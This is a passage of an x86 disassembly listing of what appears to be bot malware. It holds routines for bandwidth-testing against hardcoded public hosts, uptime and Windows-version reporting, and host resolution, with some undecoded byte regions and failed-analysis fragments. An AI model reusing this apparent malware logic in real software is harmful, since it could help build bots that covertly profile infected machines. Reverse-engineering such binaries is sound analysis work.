		push	esi
		call	sub_41C560
		push	offset asc_43BB50 ; "\r\n"
		push	esi
		call	sub_41C560
		add	esp, 40h
		push	esi
		call	sub_41B890
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi ; dword_4270A8
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AECC
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AE9C
; ---------------------------------------------------------------------------


loc_41AE99:				; CODE XREF: sub_41AD75+155j
		mov	eax, [ebp+arg_0]


loc_41AE9C:				; CODE XREF: sub_41AD75+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AEAC
		push	[ebp+var_C]
		jmp	short loc_41AEAD
; ---------------------------------------------------------------------------


loc_41AEAC:				; CODE XREF: sub_41AD75+130j
		push	ebx


loc_41AEAD:				; CODE XREF: sub_41AD75+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AF33
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AE99


loc_41AECC:				; CODE XREF: sub_41AD75+118j
		call	edi ; dword_4270A8
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	ds:flt_427714
		fst	[ebp+arg_0]
		fcomp	ds:flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41AEF4
		fld1
		fstp	[ebp+arg_0]


loc_41AEF4:				; CODE XREF: sub_41AD75+178j
		push	[ebp+var_4]
		call	ds:dword_4D1288
		push	[ebp+var_8]
		call	sub_41B961
		push	esi
		call	sub_41B961
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	ds:flt_42770C
		fmul	ds:flt_427708
		call	sub_41CE38


loc_41AF2E:				; CODE XREF: sub_41AD75+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AF33:				; CODE XREF: sub_41AD75+147j
		push	[ebp+var_4]
		call	ds:dword_4D1288
		push	[ebp+var_8]
		call	sub_41B961
		push	esi
		call	sub_41B961
		pop	ecx
		pop	ecx


loc_41AF4C:				; CODE XREF: sub_41AD75+19j
					; sub_41AD75+42j ...
		xor	eax, eax
		jmp	short loc_41AF2E
sub_41AD75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF50	proc near		; CODE XREF: seg000:00404958p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AD5B
		push	[ebp+eax*4+var_3C]
		call	sub_41AD75
		push	8
		mov	esi, eax
		call	sub_41AD5B
		push	[ebp+eax*4+var_3C]
		call	sub_41AD75
		add	esp, 10h
		test	esi, esi
		jz	short loc_41B051
		test	eax, eax
		jz	short loc_41B04D
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41B053
; ---------------------------------------------------------------------------


loc_41B04D:				; CODE XREF: sub_41AF50+F4j
		mov	ebx, esi
		jmp	short loc_41B053
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AF50+F0j
		mov	ebx, eax


loc_41B053:				; CODE XREF: sub_41AF50+FBj
					; sub_41AF50+FFj
		push	0Ch
		call	sub_41AD5B
		push	[ebp+eax*4+var_6C]
		call	sub_41AD75
		push	0Ch
		mov	edi, eax
		call	sub_41AD5B
		push	[ebp+eax*4+var_6C]
		call	sub_41AD75
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B08B
		test	eax, eax
		jz	short loc_41B087
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41B08D
; ---------------------------------------------------------------------------


loc_41B087:				; CODE XREF: sub_41AF50+12Ej
		mov	esi, edi
		jmp	short loc_41B08D
; ---------------------------------------------------------------------------


loc_41B08B:				; CODE XREF: sub_41AF50+12Aj
		mov	esi, eax


loc_41B08D:				; CODE XREF: sub_41AF50+135j
					; sub_41AF50+139j
		push	6
		call	sub_41AD5B
		push	[ebp+eax*4+var_1C]
		call	sub_41AD75
		push	6
		mov	edi, eax
		call	sub_41AD5B
		push	[ebp+eax*4+var_1C]
		call	sub_41AD75
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B0C5
		test	eax, eax
		jz	short loc_41B0C1
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41B0C7
; ---------------------------------------------------------------------------


loc_41B0C1:				; CODE XREF: sub_41AF50+168j
		mov	ecx, edi
		jmp	short loc_41B0C7
; ---------------------------------------------------------------------------


loc_41B0C5:				; CODE XREF: sub_41AF50+164j
		mov	ecx, eax


loc_41B0C7:				; CODE XREF: sub_41AF50+16Fj
					; sub_41AF50+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41B0D4
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41B0D7
; ---------------------------------------------------------------------------


loc_41B0D4:				; CODE XREF: sub_41AF50+17Bj
		push	2
		pop	edi


loc_41B0D7:				; CODE XREF: sub_41AF50+182j
		test	esi, esi
		jz	short loc_41B0DF
		add	eax, esi
		jmp	short loc_41B0E0
; ---------------------------------------------------------------------------


loc_41B0DF:				; CODE XREF: sub_41AF50+189j
		dec	edi


loc_41B0E0:				; CODE XREF: sub_41AF50+18Dj
		test	ecx, ecx
		jz	short loc_41B0E8
		add	eax, ecx
		jmp	short loc_41B0E9
; ---------------------------------------------------------------------------


loc_41B0E8:				; CODE XREF: sub_41AF50+192j
		dec	edi


loc_41B0E9:				; CODE XREF: sub_41AF50+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_4420B8
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4157A6
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B12D	proc near		; CODE XREF: seg000:00404068p
					; seg000:004044DDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4E14C0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C030
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B12D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B196	proc near		; CODE XREF: sub_417517+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_4270C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41B229
		cmp	[ebp+var_90], 4
		jnz	short loc_41B1FF
		cmp	[ebp+var_8C], esi
		jnz	short loc_41B1E7
		cmp	[ebp+var_84], 1
		jnz	short loc_41B1DA
		push	1
		pop	esi


loc_41B1DA:				; CODE XREF: sub_41B196+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41B229
		push	1
		jmp	short loc_41B228
; ---------------------------------------------------------------------------


loc_41B1E7:				; CODE XREF: sub_41B196+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41B1F4


loc_41B1F0:				; CODE XREF: sub_41B196+78j
		push	2
		jmp	short loc_41B228
; ---------------------------------------------------------------------------


loc_41B1F4:				; CODE XREF: sub_41B196+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41B229
		jmp	short loc_41B219
; ---------------------------------------------------------------------------


loc_41B1FF:				; CODE XREF: sub_41B196+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41B229
		cmp	[ebp+var_8C], esi
		jz	short loc_41B1F0
		cmp	[ebp+var_8C], 1
		jnz	short loc_41B21D


loc_41B219:				; CODE XREF: sub_41B196+67j
		push	3
		jmp	short loc_41B228
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B196+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41B229
		push	7


loc_41B228:				; CODE XREF: sub_41B196+4Fj
					; sub_41B196+5Cj ...
		pop	esi


loc_41B229:				; CODE XREF: sub_41B196+25j
					; sub_41B196+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B196	endp

; ---------------------------------------------------------------------------
		dw 5653h
		dd 4240BE57h, 310F000Fh, 3E868h, 8BFA8B00h, 6415FFD8h
		dd 0F004270h, 6AC32B31h, 56D71B00h, 89E85052h, 8B000028h
		dd 85D88BFAh, 72D777FFh, 77DE3B04h, 6A006AD1h, 0E8535764h
		dd 28E0h, 646ACA8Bh, 0F08BD233h, 7758C985h, 8305725Bh
		dd 57350FEh, 0D2334B6Ah, 77C98558h, 8305724Bh, 57347FEh
		dd 0D233426Ah, 77C98558h, 8305723Bh, 57337FEh, 0D233326Ah
		dd 77C98558h, 8305722Bh, 57326FEh, 0D233216Ah, 77C98558h
		dd 8305721Bh, 5731EFEh,	0D233196Ah, 77C98558h, 8305720Bh
		dd 4730AFEh, 0D233C033h, 0D11BC62Bh, 0D713C303h, 0C35B5E5Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2E4	proc near		; CODE XREF: seg000:0040423Ep

var_1137B	= byte ptr -1137Bh
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_443398
		mov	[ebp+var_CC], 94h
		call	ds:dword_4270C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B36B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B347
		cmp	[ebp+var_BC], 1
		jnz	short loc_41B331
		mov	[ebp+var_4], offset a95	; "95"


loc_41B331:				; CODE XREF: sub_41B2E4+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B3E6
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_41B3B7
; ---------------------------------------------------------------------------


loc_41B347:				; CODE XREF: sub_41B2E4+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B359
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B359:				; CODE XREF: sub_41B2E4+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B3A7
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: sub_41B2E4+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B3A7
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B385
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B385:				; CODE XREF: sub_41B2E4+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B397
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B397:				; CODE XREF: sub_41B2E4+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B3AE


loc_41B3A7:				; CODE XREF: sub_41B2E4+7Cj
					; sub_41B2E4+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_41B3AE:				; CODE XREF: sub_41B2E4+73j
					; sub_41B2E4+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B3E6


loc_41B3B7:				; CODE XREF: sub_41B2E4+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B3E6
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B3E6:				; CODE XREF: sub_41B2E4+54j
					; sub_41B2E4+D1j ...
		mov	ax, ds:word_43FB1C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_4D10D0
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B41F
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax ; dword_4D10D0


loc_41B41F:				; CODE XREF: sub_41B2E4+12Cj
		push	[ebp+arg_4]
		call	sub_40AB6A
		pop	ecx
		push	eax
		call	ds:dword_4D1230
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_4D11A8
		cmp	eax, ebx
		jz	short loc_41B448
		push	dword ptr [eax]
		jmp	short loc_41B44D
; ---------------------------------------------------------------------------


loc_41B448:				; CODE XREF: sub_41B2E4+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B44D:				; CODE XREF: sub_41B2E4+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41BF36
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0B00000h
		cmp	cl, [ebp+var_1137B]
		jmp	fword ptr [edx+46h]
sub_41B2E4	endp

; ---------------------------------------------------------------------------
		db 50h,	68h, 0ACh
		dd 53004423h, 409BEh, 0E8565300h, 6E4B78h, 0A4858DDDh
		dd 6AFFFFFEh, 28685046h, 530043BDh, 61E85653h, 33006E4Bh
		dd 458D206Ah, 0E85053C8h, 794h,	8D0CC483h, 0E850C845h
		dd 6E4B48h, 8D5353EBh, 5053E845h, 0FB18858Dh, 0E850FFFFh
		dd 0BB5h, 50E8458Dh, 0F818858Dh, 0E850FFFFh, 0FFFFBB5Fh
		dd 0F08B606Ah, 18BD8D59h, 0F3FFFFF8h, 8D606AA5h, 0FFF818B5h
		dd 0BD8D59FFh, 0FFFFF998h, 0E853A5F3h, 0FFFFFC2Dh, 5020C483h
		dd 0FEA4858Dh, 8D50FFFFh, 0FFFEEC85h, 858D50FFh, 0FFFFFDA4h
		dd 0C75FF50h, 0FEF649E8h, 8D5059FFh, 0FFFC1C85h, 858D50FFh
		dd 0FFFFFB18h, 18858D50h, 0FFFFFFFAh, 0FFFF40B5h, 3CB5FFFFh
		dd 0FFFFFFFFh, 0FFFF38B5h, 0FC75FFFFh, 98858D50h, 50FFFFFAh
		dd 0C1D4458Bh, 50530AE8h, 0FFB9CAE8h, 505959FFh, 0C1D0458Bh
		dd 50530AE8h, 0FFB9BAE8h, 505959FFh, 0FFFCB5E8h, 685052FFh
		dd 4422D0h, 20068h, 875FF00h, 0AA3E8h, 8458B00h, 5F50C483h
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B598	proc near		; CODE XREF: seg000:0040426Cp
					; seg000:00408D02p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		cmp	ds:dword_4D12D8, 0
		jnz	short loc_41B60C
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4D10B4
		test	eax, eax
		jnz	short loc_41B5ED
		lea	eax, [ebp+var_8C]
		push	offset dword_44242C
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41B5ED:				; CODE XREF: sub_41B598+40j
		test	[ebp+var_C], 1
		jz	short loc_41B605
		push	offset dword_442424


loc_41B5F8:				; CODE XREF: sub_41B598+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_41B62B
; ---------------------------------------------------------------------------


loc_41B605:				; CODE XREF: sub_41B598+59j
		push	offset off_442420
		jmp	short loc_41B5F8
; ---------------------------------------------------------------------------


loc_41B60C:				; CODE XREF: sub_41B598+28j
		mov	esi, offset off_44241C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_41B62B:				; CODE XREF: sub_41B598+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_4423D8
		push	200h
		push	[ebp+arg_0]
		call	sub_41C030
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B598	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B65E	proc near		; DATA XREF: seg000:00409154o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_44250C
		call	sub_41BC40
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BC40
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BC40
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BC40
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_4D10EC
		test	eax, eax
		jz	loc_41B7F8
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B735
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B735:				; CODE XREF: sub_41B65E+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B753
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B753:				; CODE XREF: sub_41B65E+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B76D
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B76D:				; CODE XREF: sub_41B65E+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B787
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B787:				; CODE XREF: sub_41B65E+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_4D11A0
		call	ds:dword_4D11C4
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B810
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_4D11B8
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B817
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_4D1164
		test	eax, eax
		jz	short loc_41B7F1
		push	offset dword_4424F0
		jmp	short loc_41B81C
; ---------------------------------------------------------------------------


loc_41B7F1:				; CODE XREF: sub_41B65E+18Aj
		push	offset unk_4424B4
		jmp	short loc_41B81C
; ---------------------------------------------------------------------------


loc_41B7F8:				; CODE XREF: sub_41B65E+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_442498
		push	eax
		call	sub_41BF36
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B82A
; ---------------------------------------------------------------------------


loc_41B810:				; CODE XREF: sub_41B65E+153j
		push	offset unk_44246C
		jmp	short loc_41B81C
; ---------------------------------------------------------------------------


loc_41B817:				; CODE XREF: sub_41B65E+17Bj
		push	offset unk_44243C


loc_41B81C:				; CODE XREF: sub_41B65E+191j
					; sub_41B65E+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41B82A:				; CODE XREF: sub_41B65E+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B855
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_4099D2
		add	esp, 14h


loc_41B855:				; CODE XREF: sub_41B65E+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	esi
		call	ds:dword_4D1224
		push	[ebp+var_4]
		call	ds:dword_4D1224
		push	[ebp+var_1D8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
		db	26h
		pop	edi
		pop	esi
		pop	ebx
sub_41B65E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B888	proc near		; CODE XREF: sub_40E7D2+185p
		jmp	ds:dword_4271D8
sub_41B888	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B890	proc near		; CODE XREF: start+34p	sub_401A09+6Bp	...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B8B0


loc_41B89C:				; CODE XREF: sub_41B890+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B8E3
		test	ecx, 3
		jnz	short loc_41B89C
		add	eax, 0


loc_41B8B0:				; CODE XREF: sub_41B890+Aj
					; sub_41B890+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B8B0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B901
		test	ah, ah
		jz	short loc_41B8F7
		test	eax, 0FF0000h
		jz	short loc_41B8ED
		test	eax, 0FF000000h
		jz	short loc_41B8E3
		jmp	short loc_41B8B0
; ---------------------------------------------------------------------------


loc_41B8E3:				; CODE XREF: sub_41B890+11j
					; sub_41B890+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B8ED:				; CODE XREF: sub_41B890+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B8F7:				; CODE XREF: sub_41B890+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B901:				; CODE XREF: sub_41B890+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B890	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B90B	proc near		; CODE XREF: sub_4010C3+64p
